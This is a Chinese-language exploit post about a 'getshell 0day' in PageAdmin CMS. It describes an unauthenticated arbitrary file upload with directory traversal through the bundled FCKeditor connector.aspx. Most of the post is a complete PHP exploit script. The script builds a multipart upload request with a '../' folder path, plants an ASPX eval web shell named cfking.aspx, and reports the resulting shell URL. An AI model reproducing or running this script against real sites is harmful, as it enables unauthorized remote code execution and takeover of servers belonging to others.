by：★黑小子★

这个程序有格fckeditor 悲剧就在这里了

不过程序他在upload.aspx里面到时验证了权限

任意上传

<%@ Page language="c#" Trace="false" Inherits="FredCK.FCKeditorV2.Uploader" AutoEventWireup="false" StylesheetTheme="" %>

但是在connector.aspx这个里面就是一段

<%@ Page language="c#" Trace="false" Inherits="FredCK.FCKeditorV2.FileBrowserConnector" AutoEventWireup="false" StylesheetTheme=""%>

我不会.net所以完全不知道他这个代码是什么意思但是经过测试这个代码一点用处都没有！

可以任意文件上传../../任意跨目录！

上传可以本地构造test.html

然后我用php写了一个exp

以下是引用片段：

#!/usr/bin/php
<?php
error_reporting(0);
print_r('
+---------------------------------------------------------------------------+
PageAdmin cms Fckeditor Upload Vul Exploit
by:admin@heixiaozi.com
cfking@90sec.org&nbsp; &nbsp;
welcome to www.90sec.org www.webvul.com&nbsp; &nbsp;
+---------------------------------------------------------------------------+
'
);

if(count($argv) < 2 ){
print_r('
Usage: php '.$argv[0].' url Path
Example:
php '.$argv[0].' www.site.com path
');
&nbsp; &nbsp;exit;
}
$url=$argv[1];
$path=$argv[2];
$token=getshell($url,$path);
if($token==null){
echo "[-] Exploit Failed \n";
}else{
echo "[*] Exploit Success \n";
echo "[*] Shell:http://$url/upload/$token\n";
}

function Getshell($url,$path){
$host=$url;
$port="80";
$content ="-----------------------------1398531028480\r\nContent-Disposition: form-data; name=\"NewFile\"; filename=\"cfking.aspx\"\r\nContent-Type: application/octet-stream\r\n\r\n<% @Page Language=\"Jscript\"%><%eval(Request.Item[\"90sec.org\"],\"unsafe\");%>\r\n-----------------------------1398531028480--\r\n";
$data = "POST $path//master/fckeditor/editor/filemanager/connectors/aspx/connector.aspx?Command=FileUpload&Type=File&CurrentFolder=%2F..%2F..%2F..%2F..%2Fupload HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
$data .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.2) Gecko/2008091620 Firefox/3.0.2\r\n";
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
$data .= "Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Keep-Alive: 300\r\n";
$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: multipart/form-data; boundary=---------------------------1398531028480\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "[*] No response from $host \n";
die;
}
fwrite($ock,$data);
while (!feof($ock)) {
$exp .=fgets($ock, 1024);
}
preg_match("/(0,'(.*?)')/", $exp, $arr);
return $arr[2];
}

?>

PageAdmin cms getshell 0day - 脚本漏洞